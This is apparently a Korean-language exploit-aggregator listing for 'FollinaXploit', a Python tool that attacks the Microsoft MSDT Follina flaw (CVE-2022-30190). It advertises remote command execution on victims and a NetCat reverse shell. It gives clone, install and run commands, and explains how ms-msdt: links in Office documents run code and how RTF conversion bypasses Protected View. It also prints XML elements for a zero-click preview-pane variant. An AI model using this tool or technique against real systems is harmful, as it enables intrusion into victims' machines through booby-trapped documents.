Exploit for FollinaXploit

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABBARHISSARH-FOLLINAXPLOIT
![](https://forthebadge.com/images/badges/made-with-python.svg)

# Follina Exploiter CLI 도구 MSDT 취약점 (CVE-2022-30190)

MSDT(지원 진단 도구)의 제로데이 취약점을 악용하기 위한 명령줄 기반 파이썬 도구로, 'Follina' CVE-2022-30190로도 알려져 있습니다.

> 정보 : 공격에서 PowerShell을 실행하는 데 사용된 새로운 Microsoft Office 제로데이

**Python(3.10.4)으로 제작됨**

## 기능

  1. 피해자 장치에서 악성 명령 실행.
  2. 리버스 셸 (NetCat) 획득.
  3. .rtf 파일용 제로 클릭 RTF 포함. `신규`



## 요구 사항

  * pyfiglet



## 설치

  * 저장소 복제



root@kitploit:~
    
    
    https://github.com/0xAbbarhSF/FollinaXploit
    

**Linux용**

  * 필요 모듈 설치



root@kitploit:~
    
    
    pip3 install pyfiglet
    

**한 줄 명령**

root@kitploit:~
    
    
    git clone https://github.com/0xAbbarhSF/FollinaXploit && pip3 install pyfiglet && cd FollinaXploit
    

  * 실행



root@kitploit:~
    
    
    python3 "follinaExploiter.py"
    

**Windows용**

  * 필요 모듈 설치



root@kitploit:~
    
    
    pip install pyfiglet
    

  * 실행



root@kitploit:~
    
    
    python "follinaExploiter.py"
    

## 작동 방식?

해당 취약점은 MSProtocol URI 스킴을 사용하여 일부 코드를 로드함으로써 악용됩니다. 공격자는 Microsoft Office 문서, 템플릿 또는 이메일에 ms-msdt:로 시작하는 악성 링크를 포함시킬 수 있으며, 이는 사용자 상호 작용 없이 로드 및 실행됩니다.

  * 단, Protected View 모드가 활성화된 경우는 제외됩니다. 그러나 문서를 RTF 형식으로 변환하면 Protected View 기능도 우회할 수 있습니다.



MS Office docx 파일은 HTML 파일로 외부 OLE 개체 참조를 포함할 수 있습니다. "ms-msdt:"라는 HTML 스킴이 있으며, 이는 msdt 진단 도구를 호출하여 (매개변수에 지정된) 임의의 코드를 실행할 수 있습니다.

## 보너스 (0-클릭 RTF 버전) ~~(직접 해보세요)~~ 이제 포함됨

**세부 정보 보기**

~~또한`word/document.xml`의 `<o:OLEObject>` 요소 아래에 다음 요소를 추가하면~~

root@kitploit:~
    
    
    <o:LinkType>EnhancedMetaFile</o:LinkType>
    <o:LockedField>false</o:LockedField>
    <o:FieldCodes>\f 0</o:FieldCodes>
    

~~그러면 RTF로도 작동합니다 (결과 docx를 열고 RTF로 저장하세요).~~

~~RTF의 경우 Word에서 파일을 열 필요가 없으며, 파일을 탐색하여 미리 보기 창에서 보는 것만으로 충분합니다. 미리 보기 창이 외부 HTML 페이로드를 트리거하고 클릭 없이 RCE가 발생합니다.~~